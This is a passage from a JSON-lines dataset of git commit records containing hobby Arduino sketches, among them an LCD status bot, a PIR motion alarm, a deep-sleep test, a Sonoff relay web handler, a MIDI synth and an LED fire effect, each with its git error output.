OP_EXIT; op++)\n res += goto_fn(op);\n stop = RTC::micros();\n us = stop - start;\n TRACE(res);\n TRACE(us);\n start = RTC::micros();\n for (int i = 0; i < 10000; i++)\n for (uint8_t op = OP_LOAD; op <= OP_EXIT; op++)\n res += goto_fn(op);\n stop = RTC::micros();\n us = stop - start;\n TRACE(res);\n TRACE(us);\n\n ASSERT(true == false);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Sandbox\/CosaSwitch\/CosaSwitch.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"d1b8dd1e269dea5d7bb42444a3534e61fb7ad75d","subject":"the c++ status bot with RGB lcd display is finally coming together","message":"the c++ status bot with RGB lcd display is finally coming together","repos":"wizarddevelopment\/statusbot","old_file":"statusbot.ino","new_file":"statusbot.ino","new_contents":"#include \"application.h\"\n#include \"LiquidCrystal\/LiquidCrystal.h\"\n\n\/\/ Colors\n#define RGB_COLOR_RED 0xFF0000ul\n#define RGB_COLOR_GREEN 0x00FF00ul\n#define RGB_COLOR_BLUE 0x0000FFul\n#define RGB_COLOR_YELLOW 0xFFFF00ul\n#define RGB_COLOR_CYAN 0x00FFFFul\n#define RGB_COLOR_MAGENTA 0xFF00FFul\n#define RGB_COLOR_WHITE 0xFFFFFFul\n#define RGB_COLOR_ORANGE 0xFF6000ul\n#define WIZARD_ORANGE 0xc03f21ul\n#define WIZARD_BLUE 0x285166ul\n#define WIZARD_GRAY 0x515159ul\n\n\/\/ Pins for backlight\n#define R_PIN D0\n#define G_PIN A0\n#define B_PIN A1\n\n\n\/\/ Make sure to update these to match how you've wired your pins.\n\/\/ pinout on LCD [RS, EN, D4, D5, D6, D7];\nLiquidCrystal lcd(A2, A3, D3, D4, D5, D6);\n\nint brightness = 255;\n\nvoid setup() {\n \/\/ set up the LCD's number of columns and rows:\n lcd.begin(16,2);\n\n \/\/ Setup pinmodes\n pinMode(R_PIN, OUTPUT);\n pinMode(G_PIN, OUTPUT);\n pinMode(B_PIN, OUTPUT);\n\n backlight(WIZARD_ORANGE);\n lcd.print(\"Wizard Dev\");\n lcd.setCursor(0,1);\n lcd.print(\"Hello Programs!\");\n delay(1000);\n lcd.setCursor(0,1);\n lcd.print(\"StatusBot Online\");\n\n Spark.function(\"backlight\", netBacklight);\n Spark.function(\"testBacklight\", testBacklight);\n Spark.function(\"printLCD\", printLCD);\n}\n\nvoid loop() {\n\n}\n\nint printLCD (String message) {\n lcd.clear();\n lcd.print(message);\n return 1;\n}\n\nint netBacklight(String args) {\n char color[7]; \/\/ six hex and null\n args.toCharArray(color, sizeof(color));\n backlight(strtoul(color,0, 16));\n return 1;\n}\n\nint testBacklight(String args) {\n backlight(RGB_COLOR_RED);\n delay(1000);\n backlight(RGB_COLOR_GREEN);\n delay(1000);\n backlight(RGB_COLOR_BLUE);\n delay(1000);\n backlight(WIZARD_ORANGE);\n delay(1000);\n backlight(WIZARD_BLUE);\n delay(1000);\n backlight(WIZARD_GRAY);\n delay(1000);\n return 1;\n}\n\nvoid backlight(unsigned long rgb) {\n \/\/ lcd.clear();\n\n int r = rgb >> 16 & 0x0000FF;\n int g = rgb >> 8 & 0x0000FF;\n int b = rgb & 0x0000FF;\n\n \/\/ lcd.print(\"RGB #\");\n \/\/ lcd.print(r, HEX);\n \/\/ lcd.print(g, HEX);\n \/\/ lcd.print(b, HEX);\n\n \/\/ normalize the red and green LEDs - they are brighter than the rest!\n r = map(r, 0, 255, 0, 100);\n g = map(g, 0, 255, 0, 150);\n\n r = map(r, 0, 255, 0, brightness);\n g = map(g, 0, 255, 0, brightness);\n b = map(b, 0, 255, 0, brightness);\n\n \/\/ common anode so invert!\n r = map(r, 0, 255, 255, 0);\n g = map(g, 0, 255, 255, 0);\n b = map(b, 0, 255, 255, 0);\n\n analogWrite(R_PIN, r);\n analogWrite(G_PIN, g);\n analogWrite(B_PIN, b);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'statusbot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fd1b31867c5229e3d54b437dadfd31dc8ed5c7e9","subject":"Arduino Sketch","message":"Arduino Sketch\n","repos":"MacgyverPT\/Arduino-RC_Car","old_file":"Data\/ArduinoSketch\/ArduinoSketch.ino","new_file":"Data\/ArduinoSketch\/ArduinoSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/MacgyverPT\/Arduino-RC_Car.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"dfd4bac9da592d8be5b77f8bb55f27276d143e00","subject":"arduino code","message":"arduino code\n","repos":"manashmndl\/OthersProject,manashmndl\/OthersProject,manashmndl\/OthersProject","old_file":"BeachAsif-EEE\/pir_code\/pir_code.ino","new_file":"BeachAsif-EEE\/pir_code\/pir_code.ino","new_contents":"#include <SoftwareSerial.h>\n\n#define SHORT_DELAY 200\n#define LONG_DELAY 5000\n\n#define RX 10 \/\/SoftwareSerial RX pin\n#define TX 11 \/\/SoftwareSerial TX pin\n#define BAUD 9600 \/\/Baudrate for Serial and SoftwareSerial\n\n\/\/Bluetooth object\nSoftwareSerial bluetooth(RX, TX);\n\n#define ledPin 13 \/\/choose the pin for LED\n#define inputPin 7 \/\/ choose the input pin (for PIR Sensor)\n\nint pirState = LOW; \/\/Assuming no motion detected at starting point\n\nint val = 0; \/\/Variable for reading the pin status\n\nvoid setup(void){\n pinMode(ledPin, OUTPUT);\n pinMode(inputPin, INPUT);\n bluetooth.begin(BAUD);\n Serial.begin(BAUD);\n}\n\n\/\/Strings for motion detection and threat alert\nchar* motionDetected = \"Motion detected!\";\nchar* potentialThreat = \"Potential Threat Alert!\";\n \nvoid loop(){\n val = digitalRead(inputPin); \/\/ read input value\n if (val == HIGH) { \/\/ check if the input is HIGH\n digitalWrite(ledPin, HIGH); \/\/ turn LED ON\n if (pirState == LOW) {\n \/\/ we have just turned on\n Serial.println(motionDetected);\n bluetooth.println(motionDetected);\n \/\/ We only want to print on the output change, not state\n pirState = HIGH;\n delay(LONG_DELAY);\n }\n } else {\n digitalWrite(ledPin, LOW); \/\/ turn LED OFF\n if (pirState == HIGH){\n \/\/ we have just turned of\n Serial.println(potentialThreat);\n bluetooth.println(potentialThreat);\n \/\/ We only want to print on the output change, not state\n pirState = LOW;\n }\n }\n\n delay(SHORT_DELAY);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BeachAsif-EEE\/pir_code\/pir_code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"21cd8380bde0457bff3c9d24e7132de18f1a5d1d","subject":"Try to save power","message":"Try to save power\n\nNormal ~7mA\nDuring sleep ~0.35mA\n\nSigned-off-by: Thomas Pfeiffer <a9319bcf77f61437a92bebec82799bc445aa951b@gmail.com>\n","repos":"totothekiller\/weather-station,totothekiller\/weather-station","old_file":"DeepSleep\/DeepSleep.ino","new_file":"DeepSleep\/DeepSleep.ino","new_contents":"\n\/\/\n\/\/ Test Deep Sleep\n\/\/\n\n\/\/ Info from :\n\/\/ http:\/\/www.insidegadgets.com\/2011\/02\/05\/reduce-attiny-power-consumption-by-sleeping-with-the-watchdog-timer\/\n\/\/ http:\/\/www.nongnu.org\/avr-libc\/\n\/\/ https:\/\/kalshagar.wikispaces.com\/Watchdog+as+interrupt\n\/\/ http:\/\/oregonembedded.com\/batterycalc.htm\n\n#include <avr\/wdt.h>\n#include <avr\/power.h>\n#include <avr\/interrupt.h>\n#include <avr\/sleep.h>\n\n#undef ECO \/\/ Power Saving On\/Off ?\n\nint setupLed = 3;\nint loopLed = 4;\n\nvolatile boolean isOn = true;\n\n\n\/\/ WatchDog interruption\nEMPTY_INTERRUPT(WDT_vect);\n\nvoid setup() {\n \/\/ \n \/\/ Setup\n pinMode(setupLed,OUTPUT);\n pinMode(loopLed,OUTPUT);\n digitalWrite(setupLed,HIGH);\n digitalWrite(loopLed,HIGH);\n\n delay(1000);\n\n\n#ifdef ECO\n \/\/ Turn Off ADC\n power_adc_disable();\n\n \/\/ Turn Off USI\n power_usi_disable();\n\n\n \/\/ Setup WatchDog\n setupWatchdog();\n#endif\n\n\n digitalWrite(setupLed,LOW);\n}\n\nvoid loop() {\n\n if(isOn)\n {\n digitalWrite(loopLed,LOW);\n }\n else{\n digitalWrite(loopLed,HIGH);\n }\n\n \/\/ Toggle\n isOn=!isOn;\n\n deepSleep();\n}\n\n\n\nvoid deepSleep()\n{\n#ifndef ECO\n\n delay(8000);\n\n#else\n\n \/\/ Power Down\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n\n \/\/ Stop Interruption\n cli();\n sleep_enable();\n \/\/sleep_bod_disable(); \/\/ Turn Off BOD\n\n \/\/ Start interrupt then go to sleep !\n sei();\n sleep_cpu(); \/\/ Bye Bye\n\n sleep_disable(); \/\/ Wake Up\n\n#endif\n}\n\n\n#ifdef ECO\n\/\/setup the watchdog to timeout every 8 second and make an interrupt (not a reset!)\nvoid setupWatchdog(){\n \/\/README : must set the fuse WDTON to 0 to enable the watchdog\n\n \/\/disable interrupts\n cli();\n\n \/\/make sure watchdod will be followed by a reset (must set this one to 0 because it resets the WDE bit)\n MCUSR &= ~(1 << WDRF);\n \/\/set up WDT interrupt (from that point one have 4 cycle to modify WDTCSR)\n WDTCR = (1<<WDCE)|(1<<WDE);\n \/\/Start watchdog timer with 1s prescaller and interrupt only\n WDTCR = (1<<WDIE)|(0<<WDE)|(1<<WDP3)|(1<<WDP0);\n\n \/\/Enable global interrupts\n sei();\n}\n#endif\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DeepSleep\/DeepSleep.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"eb10fcdbeb4be68b9212b229513e9aaeb031ed63","subject":"HTTP interface","message":"HTTP interface\n","repos":"tschaban\/SONOFF-BASIC-firmware,tschaban\/SONOFF-BASIC-firmware,tschaban\/SONOFF-firmware,tschaban\/SONOFF-firmware","old_file":"src\/sonoff-interface-http.ino","new_file":"src\/sonoff-interface-http.ino","new_contents":"\/*\n SONOFF BASIC: firmware\n More info: https:\/\/github.com\/tschaban\/SONOFF-BASIC-firmware\n LICENCE: http:\/\/opensource.org\/licenses\/MIT\n 2016-10-27 tschaban https:\/\/github.com\/tschaban\n*\/\n\n\nvoid startHTTPInterface() {\n if (Configuration.debugger) Serial << endl << \" - Starting web server\" << endl;\n server.on(\"\/\", handleHTTPInterfaceCommand);\n server.on(\"\/favicon.ico\",handleFavicon);\n server.onNotFound(handleNotFound);\n server.begin();\n if (Configuration.debugger) Serial << \" - Web server is working\" << endl;\n}\n\nvoid handleHTTPInterfaceCommand() {\n String _status = \"{'status':'success'}\";\n \n if (server.args()==1) {\n if (server.arg(0)==\"on\") {\n Relay.on();\n } else if (server.arg(0)==\"off\") {\n Relay.off();\n } else if (server.arg(0)==\"configurationMode\") {\n Sonoff.toggle();\n } else if (server.arg(0)==\"reboot\") {\n ESP.restart();\n } else {\n _status = \"{'status':'not implemented'}\";\n } \n } else {\n _status = \"{'status':'failure'}\";\n }\n\n server.send(200, \"text\/json\", _status);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/sonoff-interface-http.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9f66875b396283dd568d56a4ab6a29bb65f94b83","subject":"Moved into project","message":"Moved into project\n","repos":"AJMansfield\/polySynth,AJMansfield\/polySynth,AJMansfield\/polySynth","old_file":"polySynth.ino","new_file":"polySynth.ino","new_contents":"\n#include <MIDI.h>\n\n#include <avr\/interrupt.h> \/\/ Use timer interrupt library\n\n\nvoid flash(){\n digitalWrite(13, !digitalRead(13));\n delay(10);\n digitalWrite(13, !digitalRead(13));\n}\n\nvoid error(int i){\n while(true){\n for(int j = 0; j < i; j++){\n flash();\n delay(100);\n }\n delay(400);\n }\n}\n\nvoid swap (unsigned int *a, unsigned int *b){\n int temp = *a;\n *a = *b;\n *b = temp;\n}\n\/*\nvoid randomize ( unsigned int arr[], int n ){\n \n \/\/ Start from the last element and swap one by one. We don't\n \/\/ need to run for the first element that's why i > 0\n for (int i = n-1; i > 0; i--)\n {\n \/\/ Pick a random index from 0 to i\n int j = random(i+1);\n \n \/\/ Swap arr[i] with the element at random index\n swap(&arr[i], &arr[j]);\n }\n}\n*\/\n\n#define NOTECOUNT 127\nunsigned int period[NOTECOUNT];\n\n\n#define REFPD 2273\n#define REFIX 57\n#define TUNING 1.05946309436\n\nvoid generate_period(){\n for(int i = 0; i < NOTECOUNT; i++){\n period[i] = REFPD * pow(TUNING, REFIX - i);\n }\n \n \/\/randomize(period + 40, 60);\n}\n\n\n#define VOICECOUNT 8\nstruct voice{\n unsigned long time;\n unsigned int period;\n byte note;\n boolean on : 1;\n boolean up : 1;\n};\n\nvoice voices[VOICECOUNT];\n\n\n\n\nMIDI_CREATE_DEFAULT_INSTANCE();\n\nvoid setup(){\n \n pinMode(13, OUTPUT); \/\/debug LED\n\n MIDI.begin();\n MIDI.setHandleNoteOn(HandleNoteOn);\n MIDI.setHandleNoteOff(HandleNoteOff);\n \n \/****Set timer1 for 8-bit fast PWM output ****\/\n pinMode(9, OUTPUT); \/\/ Make timer\u2019s PWM pin an output\n TCCR1B = (1 << CS10); \/\/ Set prescaler to full 16MHz\n TCCR1A |= (1 << COM1A1); \/\/ Pin low when TCNT1=OCR1A\n TCCR1A |= (1 << WGM10); \/\/ Use 8-bit fast PWM mode\n TCCR1B |= (1 << WGM12);\n \/\/write to OCR1AL to adjust voltage\n\n\/\/ \/******** Set up timer2 to call ISR ********\/\n\/\/ TCCR2A = 0; \/\/ No options in control register A\n\/\/ TCCR2B = (1 << CS21); \/\/ Set prescaler to divide by 8\n\/\/ TIMSK2 = (1 << OCIE2A); \/\/ Call ISR when TCNT2 = OCRA2\n\/\/ OCR2A = 255; \/\/ Set frequency of wave updates\n\/\/ \/\/freq = 16MHz \/ prescaler \/ OCR2A = 62.5 kHz\n \n generate_period();\n \n\/\/ sei(); \/\/ Enable interrupts to generate waveform!\n \n \n}\n\nvoid loop(){\n unsigned long now = micros();\n \n byte von = 0;\n byte vup = 0;\n \n for(int i = 0; i<VOICECOUNT; i++){\n if(voices[i].on){\n von++;\n } else {\n continue;\n }\n \n if(now > voices[i].time){\n voices[i].time += voices[i].period;\n voices[i].up = !voices[i].up;\n }\n if(voices[i].up){\n vup++;\n }\n }\n \n OCR1AL = 255 \/ von * vup;\n}\n\nvoid serialEvent(){\n MIDI.read();\n}\n\n\n\n\n\n\n\/\/ISR(TIMER0_COMPA_vect){\n\/\/ flash();\n\/\/ static unsigned long now = micros();\n\/\/ \n\/\/ for(int i = 0; i < VOICECOUNT; i++){\n\/\/ if(voices[i].vel == 0 && voices[i].lastvel == 0)\n\/\/ continue;\n\/\/ \n\/\/ if(now > voices[i].time){\n\/\/ voices[i].time = now + period[voices[i].note];\n\/\/ if(voices[i].lastvel == 0){\n\/\/ OCR1AL += voices[i].vel;\n\/\/ voices[i].lastvel = voices[i].vel;\n\/\/ } else {\n\/\/ OCR1AL -= voices[i].lastvel;\n\/\/ voices[i].lastvel == 0;\n\/\/ }\n\/\/ }\n\/\/ }\n\/\/ flash(); \n\/\/}\n\n\nvoid HandleNoteOff (byte channel, byte note, byte velocity){\n \/\/flash();\n static byte lastOff = 128;\n \n for(int i = 0; i < VOICECOUNT; i++){\n if(voices[i].note == note){\n \/*if(lastOff >= 128){\n lastOff = note;\n } else {\n swap(&period[note], &period[lastOff]);\n lastOff = 128;\n }*\/\n voices[i].on = false;\n }\n }\n}\n\nvoid HandleNoteOn (byte channel, byte note, byte velocity){\n \/\/flash();\n if(velocity == 0){\n HandleNoteOff(channel,note,velocity);\n return;\n }\n \n for(int i = 0; i < VOICECOUNT; i++){\n if(voices[i].on == 0){\n voices[i] = {micros(), period[note], note, true, false};\n break;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'polySynth.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ec0d9b0fb20044f46b4dd11f38df4ef4b60c1113","subject":"add simple ChibiOS example sketch","message":"add simple ChibiOS example sketch\n","repos":"jcw\/jeelib,jcw\/jeelib","old_file":"examples\/RTOS\/chiBlink\/chiBlink.ino","new_file":"examples\/RTOS\/chiBlink\/chiBlink.ino","new_contents":"\/\/\/ @dir chiBlink\n\/\/\/ Simple LED blinker using the ChibiOS real-time operating system\n\/\/\/ @see http:\/\/jeelabs.org\/2013\/05\/24\/blinking-in-real-time\/\n\/\/ 2013-05-23 <jc@wippler.nl> http:\/\/opensource.org\/licenses\/mit-license.php\n\n#include <ChibiOS_AVR.h>\n\nstatic WORKING_AREA(waThread1, 50);\n\nvoid Thread1 (void* arg) {\n const uint8_t LED_PIN = 9;\n pinMode(LED_PIN, OUTPUT);\n \n while (1) {\n digitalWrite(LED_PIN, LOW);\n chThdSleepMilliseconds(100);\n digitalWrite(LED_PIN, HIGH);\n chThdSleepMilliseconds(500);\n }\n}\n\nvoid setup () {\n chBegin(mainThread);\n}\n\nvoid mainThread () {\n chThdCreateStatic(waThread1, sizeof (waThread1),\n NORMALPRIO + 2, (tfunc_t) Thread1, 0);\n while (true)\n loop();\n}\n\nvoid loop () {\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/RTOS\/chiBlink\/chiBlink.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"b92139f3fb8baae1b0af183b8733e047501a1570","subject":"Adicionando exemplo de uso do Dojo Shield com fita LED WS2811","message":"Adicionando exemplo de uso do Dojo Shield com fita LED WS2811\n","repos":"garoa\/dojo-shield","old_file":"arduino\/FireSnakeLDR\/FireSnakeLDR.ino","new_file":"arduino\/FireSnakeLDR\/FireSnakeLDR.ino","new_contents":"\/*\n\n Autor: Pitanga <pitanga@members.fsf.org> com base em sketches preexistentes\n\n Com c\u00f3digo de Mark Kriegsman, July 2012\n as part of \"Five Elements\" shown here: http:\/\/youtu.be\/knWiGsmgycY\n e Fire2012 with programmable Color Palette (ver exemplos da FastLED para coment\u00e1rios\n espec\u00edficos)\n\n Este sketch \u00e9 uma variante do WildSnakeGS que usa o LDR para a velocidade e, ainda\n por cima, controla uma fita de LED de acordo com a \"temperatura corporal\" da cobrinha!\n\n Para controlar a fita led (WS2811, mas poderia ser qualquer outra suportada pela lib)\n usamos a biblioteca FastLED.\n\n A ideia \u00e9 simples: a cobra \u00e9 um r\u00e9pti, portanto um animal pecilotermo...\n\n Na presen\u00e7a da luz do sol, a temperatura e o metabolismo dos pecilotermos aumentam,\n portanto eles ficam mais \u00e1geis. Na aus\u00eancia da luz do sol, ficam mais frios e\n lentos, ou at\u00e9 dormindo!\n\n Para o usu\u00e1rio final, o circuito funciona assim:\n\n - Ap\u00f3s o reset, o segmento inferior do display pisca por 3 segundos. Neste\n momento o usu\u00e1rio deve reduzir a incid\u00eancia de luz no LDR para calibrar\n o n\u00edvel inferior de luminosidade.\n\n - Em seguida o segmento central acende por 1 segundo para indicar que a\n calibragem do n\u00edvel inferior encerrou e o usu\u00e1rio deve se preparar para\n a calibragem do n\u00edvel superior.\n\n - O segmento superior do display pisca por 3 segundos para que o usu\u00e1rio\n aumente a incid\u00eancia de luz no LDR e assim calibre o n\u00edvel superior de\n luminosidade.\n\n - Ap\u00f3s as duas calibragens, o circuito passa a ajustar continuamente a\n velocidade da cobrinha conforme a luz incidente no LDR.\n\n - O circuito tamb\u00e9m atualiza a paleta de cores do efeito \"Fire\" da fita\n LED de acordo com a leitura do LDR.\n\n\n Sobre como funciona a parte da cobrinha: ver exemplo WildSnakeGS\n*\/\n\n#define DEBUG 1\n\n\/\/ {first_choice, second_choice*}\n\/\/ * -1 means there is no second_choice\nint moves[][2] = {\n {1, -1}, \/\/ 0\n {13, 2}, \/\/ 1\n {3, -1}, \/\/ 2\n {4, -1}, \/\/ 3\n {6, 5}, \/\/ 4\n {0, -1}, \/\/ 5\n {2, 8}, \/\/ 6\n {12, -1}, \/\/ 7\n {7, -1}, \/\/ 8\n {13, 8}, \/\/ 9\n {9, -1}, \/\/ 10\n {10, -1}, \/\/ 11\n {6, 11}, \/\/ 12\n {5, 11} \/\/ 13\n};\n\n\/* A\n -----\n F | | B\n | G |\n -----\n E | | C\n | D |\n -----\n*\/\n\n\/\/ A B C D E F G\nint display[] = {8, 9, 10, 11, 12, 13, 7}; \/\/ Garoa Dojo Shield\nconst int SEGMENTS = 7;\n\nint head = 1; \/\/ segment B\nint tail = 0; \/\/ segment A\n\n\/\/ vari\u00e1veis para calibra\u00e7\u00e3o\nint seg_alto = 8;\nint seg_meio = 7;\nint seg_baixo = 11;\nint ldr = A1;\nint ldr_min = 0;\nint ldr_max = 0;\nint delay_min = 10;\nint delay_max = 700;\nint hue_frio = 235;\nint hue_quente = 0;\nint brilho_baixo = 50;\nint brilho_alto = 200;\n\/\/para permitir colocar luz for\u00e7ada al\u00e9m do maximo calibrado (ex. lanterna)\nfloat extra_factor = 0.1;\n\nint const QT_AMOSTRA = 100;\nint const TEMPO_AMOSTRAGEM = 3000;\n\n\n\/* \n * FastLED parameters and variables\n *\/\n \n#include <FastLED.h>\n\n#define LED_PIN 5\n#define COLOR_ORDER GRB\n#define CHIPSET WS2811\n#define NUM_LEDS 30\n\n#define FRAMES_PER_SECOND 60\n\nbool gReverseDirection = false;\n\nCRGB leds[NUM_LEDS];\n\n\/\/ COOLING: How much does the air cool as it rises?\n\/\/ Less cooling = taller flames. More cooling = shorter flames.\n\/\/ Default 55, suggested range 20-100\n#define COOLING 50\n\n\/\/ SPARKING: What chance (out of 255) is there that a new spark will be lit?\n\/\/ Higher chance = more roaring fire. Lower chance = more flickery fire.\n\/\/ Default 120, suggested range 50-200.\n#define SPARKING 100\n\nCRGBPalette16 gPal;\n\n\nvoid setup() {\n \/\/dojo shiels setup\n if (DEBUG){\n Serial.begin(9600);\n }\n\n for (int i = 0; i < SEGMENTS; i++) {\n pinMode(display[i], OUTPUT);\n }\n\n \/\/FastLED setup\n delay(3000); \/\/ sanity delay\n FastLED.addLeds<CHIPSET, LED_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection( TypicalLEDStrip );\n\n \/\/calibra\u00e7\u00e3o\n ldr_min = amostragem(ldr, seg_baixo);\n digitalWrite(seg_meio, HIGH);\n delay(2000);\n digitalWrite(seg_meio, LOW);\n ldr_max = amostragem(ldr, seg_alto);\n\n \/\/inicializa\u00e7\u00e3o\n digitalWrite(display[tail % 7], HIGH);\n}\n\nvoid loop() {\n int valor_ldr = leitura_ldr();\n int valor_delay = map_delay(valor_ldr);\n int valor_hue = map_hue(valor_ldr);\n int valor_brilho = map_brilho(valor_ldr);\n\n if (DEBUG) {\n log_valores(valor_ldr, valor_delay, valor_hue, valor_brilho);\n }\n\n setColorPalette(valor_hue);\n FastLED.setBrightness(valor_brilho);\n Fire2012WithPalette(); \/\/ run simulation frame, using palette colors\n FastLED.show(); \/\/ display this frame\n digitalWrite(display[head % 7], HIGH);\n delay(valor_delay);\n digitalWrite(display[tail % 7], LOW);\n tail = head;\n int* choices = moves[head];\n if (choices[1] == -1) {\n head = choices[0]; \/\/ no second choice\n } else {\n head = choices[random(2)]; \/\/ random move\n }\n}\n\nint cmp(const void *x, const void *y) {\n return (*(int *)x - * (int *)y);\n}\n\nint mediana(int amostra[], int qt_amostra) {\n qsort(amostra, qt_amostra, sizeof(int), cmp);\n return amostra[qt_amostra \/ 2];\n}\n\nint amostragem(int pino_leitura, int pino_sinal) {\n int amostra [QT_AMOSTRA];\n for (int i = 0; i < QT_AMOSTRA; i++) {\n if (i % 6 == 0) digitalWrite(pino_sinal, HIGH);\n amostra[i] = analogRead(pino_leitura);\n delay(TEMPO_AMOSTRAGEM \/ QT_AMOSTRA);\n if (i % 6 == 3) digitalWrite(pino_sinal, LOW);\n }\n digitalWrite(pino_sinal, LOW);\n return mediana(amostra, QT_AMOSTRA);\n}\n\nint leitura_ldr() {\n return (int)constrain(analogRead(ldr), ldr_min , ldr_max);\n}\n\nint map_delay(int leitura_ldr) {\n return (int)map(leitura_ldr, ldr_min, ldr_max, delay_max, delay_min);\n}\n\nint map_hue(int leitura_ldr) {\n return (int)map(leitura_ldr, ldr_min, ldr_max, hue_frio, hue_quente);\n}\n\nint map_brilho(int leitura_ldr) {\n return (int)map(leitura_ldr, ldr_min, ldr_max, brilho_baixo, brilho_alto);\n}\n\n\nvoid setColorPalette(int valor_hue)\n{\n \/\/ Add entropy to random number generator; we use a lot of it.\n random16_add_entropy( random());\n\n \/\/ Four different static color palettes are provided here, plus one dynamic one.\n \/\/\n \/\/ The three static ones are:\n \/\/ 1. the FastLED built-in HeatColors_p -- this is the default, and it looks\n \/\/ pretty much exactly like the original Fire2012.\n \/\/\n \/\/ To use any of the other palettes below, just \"uncomment\" the corresponding code.\n \/\/\n \/\/ 2. a gradient from black to red to yellow to white, which is\n \/\/ visually similar to the HeatColors_p, and helps to illustrate\n \/\/ what the 'heat colors' palette is actually doing,\n \/\/ 3. a similar gradient, but in blue colors rather than red ones,\n \/\/ i.e. from black to blue to aqua to white, which results in\n \/\/ an \"icy blue\" fire effect,\n \/\/ 4. a simplified three-step gradient, from black to red to white, just to show\n \/\/ that these gradients need not have four components; two or\n \/\/ three are possible, too, even if they don't look quite as nice for fire.\n \/\/\n \/\/ The dynamic palette shows how you can change the basic 'hue' of the\n \/\/ color palette every time through the loop, producing \"rainbow fire\".\n\n \/\/ Fourth, the most sophisticated: this one sets up a new palette every\n \/\/ time through the loop, based on a hue that changes every time.\n \/\/ The palette is a gradient from black, to a dark color based on the hue,\n \/\/ to a light color based on the hue, to white.\n \/\/\n static uint8_t hue = valor_hue;\n CRGB darkcolor = CHSV(hue, 255, 192); \/\/ pure hue, three-quarters brightness\n CRGB lightcolor = CHSV(hue, 128, 255); \/\/ half 'whitened', full brightness\n gPal = CRGBPalette16( CRGB::Black, darkcolor, lightcolor, CRGB::White);\n\n}\n\n\/\/ This basic one-dimensional 'fire' simulation works roughly as follows:\n\/\/ There's a underlying array of 'heat' cells, that model the temperature\n\/\/ at each point along the line. Every cycle through the simulation,\n\/\/ four steps are performed:\n\/\/ 1) All cells cool down a little bit, losing heat to the air\n\/\/ 2) The heat from each cell drifts 'up' and diffuses a little\n\/\/ 3) Sometimes randomly new 'sparks' of heat are added at the bottom\n\/\/ 4) The heat from each cell is rendered as a color into the leds array\n\/\/ The heat-to-color mapping uses a black-body radiation approximation.\n\/\/\n\/\/ Temperature is in arbitrary units from 0 (cold black) to 255 (white hot).\n\/\/\n\/\/ This simulation scales it self a bit depending on NUM_LEDS; it should look\n\/\/ \"OK\" on anywhere from 20 to 100 LEDs without too much tweaking.\n\/\/\n\/\/ I recommend running this simulation at anywhere from 30-100 frames per second,\n\/\/ meaning an interframe delay of about 10-35 milliseconds.\n\/\/\n\/\/ Looks best on a high-density LED setup (60+ pixels\/meter).\nvoid Fire2012WithPalette()\n{\n \/\/ Array of temperature readings at each simulation cell\n static byte heat[NUM_LEDS];\n\n \/\/ Step 1. Cool down every cell a little\n for ( int i = 0; i < NUM_LEDS; i++) {\n heat[i] = qsub8( heat[i], random8(0, ((COOLING * 10) \/ NUM_LEDS) + 2));\n }\n\n \/\/ Step 2. Heat from each cell drifts 'up' and diffuses a little\n for ( int k = NUM_LEDS - 1; k >= 2; k--) {\n heat[k] = (heat[k - 1] + heat[k - 2] + heat[k - 2] ) \/ 3;\n }\n\n \/\/ Step 3. Randomly ignite new 'sparks' of heat near the bottom\n if ( random8() < SPARKING ) {\n int y = random8(7);\n heat[y] = qadd8( heat[y], random8(160, 255) );\n }\n\n \/\/ Step 4. Map from heat cells to LED colors\n for ( int j = 0; j < NUM_LEDS; j++) {\n \/\/ Scale the heat value from 0-255 down to 0-240\n \/\/ for best results with color palettes.\n byte colorindex = scale8( heat[j], 240);\n CRGB color = ColorFromPalette( gPal, colorindex);\n int pixelnumber;\n if ( gReverseDirection ) {\n pixelnumber = (NUM_LEDS - 1) - j;\n } else {\n pixelnumber = j;\n }\n leds[pixelnumber] = color;\n }\n}\n\nvoid log_valores(int v_ldr, int v_delay, int v_hue, int v_brilho) {\n Serial.print(\"ldr: \");\n Serial.print(v_ldr, DEC);\n Serial.print(\", delay: \");\n Serial.print(v_delay, DEC);\n Serial.print(\", hue: \");\n Serial.print(v_hue, DEC);\n Serial.print(\", brilho: \");\n Serial.print(v_brilho, DEC);\n Serial.println(\"\");\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/FireSnakeLDR\/FireSnakeLDR.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"6c78b46fc87cb5849b65a9ab686241735db5d173","subject":"Added pointer classes test","message":"Added pointer classes test\n","repos":"starofrainnight\/ArduinoRabirdTookit,starofrainnight\/ArduinoRabirdToolkit,starofrainnight\/ArduinoRabirdToolkit","old_file":"tests\/TestPointers\/TestPointers.ino","new_file":"tests\/TestPointers\/TestPointers.ino","new_contents":"# 2 \"TestPointers.ino\"\n\n#include <Arduino.h>\n#include <Arduino_FreeRTOS.h>\n#include <StandardCplusplus.h>\n#include <RabirdToolkit.h>\n\n#include <RTest.h>\n#include <RRawPointer.h>\n#include <RSharedPointer.h>\n\nRTEST(TestRawPointer)\n{\n \/\/ This pointer will not be free forever\n uint8_t *ptr = new uint8_t(0xFA);\n uint8_t *ptr2 = new uint8_t(0xFA);\n\n 